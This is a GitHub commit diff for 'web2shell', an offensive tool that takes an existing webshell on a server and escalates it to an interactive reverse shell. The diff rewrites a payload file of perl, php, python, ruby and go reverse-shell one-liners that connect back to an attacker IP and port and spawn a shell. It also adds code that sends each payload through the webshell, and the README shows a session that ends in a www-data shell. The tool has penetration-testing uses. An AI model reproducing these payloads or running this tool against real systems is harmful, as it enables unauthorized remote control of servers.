Skip to content

Commit

Permalink
Added support for multiple unix shells
Browse files Browse the repository at this point in the history
  • Loading branch information
ejedev committed Jun 14, 2023
1 parent 25dbd11 commit 6541734
Show file tree
Hide file tree
Showing 7 changed files with 58 additions and 32 deletions.
16 changes: 10 additions & 6 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -39,7 +39,7 @@ The included payloads have all been tested on a simple webshell and work. If you

- Edit the `data/payloads.py` file.
- Add a new object to the `payloads` dict. The `key` should be the name of the bin, and the value should be a `list` object of payloads.
- Replace all instances of the reverse `IP` with `IPHERE`, the port with `PORTHERE`, and the binary name with `PATHHERE`.
- Replace all instances of the reverse `IP` with `IPHERE`, the port with `PORTHERE`, and the binary name with `PATHHERE`. If the payload specifies the shell replace it with `SHELLHERE`.

## Example

Expand All @@ -63,11 +63,11 @@ Verifying commands can be executed...
Available interfaces...
[-] lo
[-] enp4s0
[-] docker0
[-] br-7436527ee366
[-] br-aa3534e13396
[-] br-c7551daa06d2
[-] veth148b75b
[-] docker0
[-] br-a193929c6ae4
[-] veth57bc03a
docker0 selected. Address to use is 172.17.0.1
Testing ports...
[x] 1025 already in use or unavailable.
Expand All @@ -86,10 +86,14 @@ Ncat: Listening on 0.0.0.0:1026
[-] ruby found at /usr/bin/ruby2.7
[-] ruby found at /usr/bin/ruby
[-] go found at /usr/bin/go
Finding shells...
[-] bash found at /bin/bash
[-] sh found at /bin/sh
Executing reverse shell...
Bins to test: 7
Shells to test: 2
[!] Attempting perl payloads for path /usr/bin/perl
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:38870.
$
Ncat: Connection from 172.17.0.2:44590.
www-data@122099e5b76d:/var/www/html$
```
29 changes: 17 additions & 12 deletions data/payloads.py
Original file line number Diff line number Diff line change
@@ -1,25 +1,30 @@
# Source: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
payloads = {
bins = {
"perl": [
'PATHHERE -e \'use Socket;$i="IPHERE";$p=PORTHERE;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'',
'PATHHERE -e \'use Socket;$i="IPHERE";$p=PORTHERE;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("SHELLHERE -i");};\'',
],
"php": [
'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);exec("/bin/sh -i <&3 >&3 2>&3");\'',
'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);shell_exec("/bin/sh -i <&3 >&3 2>&3");\'',
"PATHHERE -r '$sock=fsockopen(\"IPHERE\",PORTHERE);`/bin/sh -i <&3 >&3 2>&3`;'",
'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);system("/bin/sh -i <&3 >&3 2>&3");\'',
'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);passthru("/bin/sh -i <&3 >&3 2>&3");\'',
'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);popen("/bin/sh -i <&3 >&3 2>&3", "r");\'',
'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);exec("SHELLHERE -i <&3 >&3 2>&3");\'',
'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);shell_exec("SHELLHERE -i <&3 >&3 2>&3");\'',
"PATHHERE -r '$sock=fsockopen(\"IPHERE\",PORTHERE);`SHELLHERE -i <&3 >&3 2>&3`;'",
'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);system("SHELLHERE -i <&3 >&3 2>&3");\'',
'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);passthru("SHELLHERE -i <&3 >&3 2>&3");\'',
'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);popen("SHELLHERE -i <&3 >&3 2>&3", "r");\'',
],
"python": [
'PATHHERE -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\'',
'PATHHERE -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'',
'PATHHERE -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\'',
'PATHHERE -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("SHELLHERE")\'',
'PATHHERE -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["SHELLHERE","-i"])\'',
'PATHHERE -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));subprocess.call(["SHELLHERE","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\'',
],
"ruby": [
'PATHHERE -rsocket -e\'exit if fork;c=TCPSocket.new("IPHERE","PORTHERE");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}\''
],
"go": [
'export GOCACHE=/tmp; echo \'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","IPHERE:PORTHERE");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}\' > /tmp/t.go && PATHHERE run /tmp/t.go && rm /tmp/t.go'
'export GOCACHE=/tmp; echo \'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","IPHERE:PORTHERE");cmd:=exec.Command("SHELLHERE");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}\' > /tmp/t.go && PATHHERE run /tmp/t.go && rm /tmp/t.go'
],
}

shells = [
"bash",
"sh",
]
25 changes: 15 additions & 10 deletions modules/commands.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
import requests

from data import payloads, types
from modules import logger
from modules import logger, transform


def execute(url: str, command: str) -> str:
Expand All @@ -15,29 +15,34 @@ def execute(url: str, command: str) -> str:
return data.text


def find_bins(url: str, verbose: bool) -> list:
def find_bins(url: str, verbose: bool, bins: list) -> list:
valid = []
bins = list(payloads.payloads.keys())
for bin in bins:
result = execute(url, f"whereis {bin}")
logger.log(result, types.Status.VERBOSE, True, verbose)
for path in result.split(" "):
if "bin" in path and bin in path:
path = transform.filter_tag(path)
valid.append({bin: path})
logger.log(f"{bin} found at {path}", types.Status.SUCCESS)
return valid


def reverse_connection(valid_bins: list, url: str, ip: str, port: int, verbose: bool):
def reverse_connection(valid_bins: list, valid_shells: list, url: str, ip: str, port: int, verbose: bool):
logger.log(f"Bins to test: {len(valid_bins)}")
logger.log(f"Shells to test: {len(valid_shells)}")
for bin in valid_bins:
logger.log(f"Attempting {list(bin.keys())[0]} payloads for path {list(bin.values())[0]}", types.Status.ALERT)
for payload in payloads.payloads[list(bin.keys())[0]]:
cmd = urllib.parse.quote(
payload.replace("PATHHERE", list(bin.values())[0]).replace("IPHERE", ip).replace("PORTHERE", str(port))
)
result = execute(url, cmd)
logger.log(result, types.Status.VERBOSE, True, verbose)
for payload in payloads.bins[list(bin.keys())[0]]:
for shell in valid_shells:
cmd = urllib.parse.quote(
payload.replace("PATHHERE", list(bin.values())[0])
.replace("IPHERE", ip)
.replace("PORTHERE", str(port))
.replace("SHELLHERE", list(shell.keys())[0])
)
result = execute(url, cmd)
logger.log(result, types.Status.VERBOSE, True, verbose)


def verify(url: str, verbose: bool) -> bool:
Expand Down
2 changes: 1 addition & 1 deletion modules/logger.py
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@ def splash():
o O O O o O .O O o O O o o
`Oo'oO' `OoO' `OoO' oOoOoO `OoO' O o `OoO' Oo Oo
---------------------------------------------------
@ejedev
v0.1.1 @ejedev
"""
)

Expand Down
6 changes: 6 additions & 0 deletions modules/transform.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
import re


def filter_tag(result: str) -> str:
untagged = re.sub("<.*?>", "", result)
return re.sub(r"[\n\t\s]*", "", untagged)
2 changes: 1 addition & 1 deletion requirements.txt
Original file line number Diff line number Diff line change
@@ -1,3 +1,3 @@
requests==2.30.0
requests==2.31.0
psutil==5.9.5
pre-commit==3.3.1
10 changes: 8 additions & 2 deletions web2shell.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@

import psutil

from data import payloads
from modules import commands, connection, flags, local, logger

parser = argparse.ArgumentParser(
Expand Down Expand Up @@ -40,9 +41,14 @@
port = results.port
logger.log(f"Final connection string will be {ip}:{port}...")
logger.log("Finding bins...")
bins = commands.find_bins(results.url, results.verbose)
bins = commands.find_bins(results.url, results.verbose, list(payloads.bins.keys()))
logger.log("Finding shells...")
shells = commands.find_bins(results.url, results.verbose, payloads.shells)
if len(bins) < 1:
logger.log("No valid bins found.")
quit()
if len(shells) < 1:
logger.log("No valid shells found. Defaulting to /bin/sh")
shells = ["/bin/sh"]
logger.log("Executing reverse shell...")
commands.reverse_connection(bins, results.url, ip, port, results.verbose)
commands.reverse_connection(bins, shells, results.url, ip, port, results.verbose)

0 comments on commit 6541734

Please sign in to comment.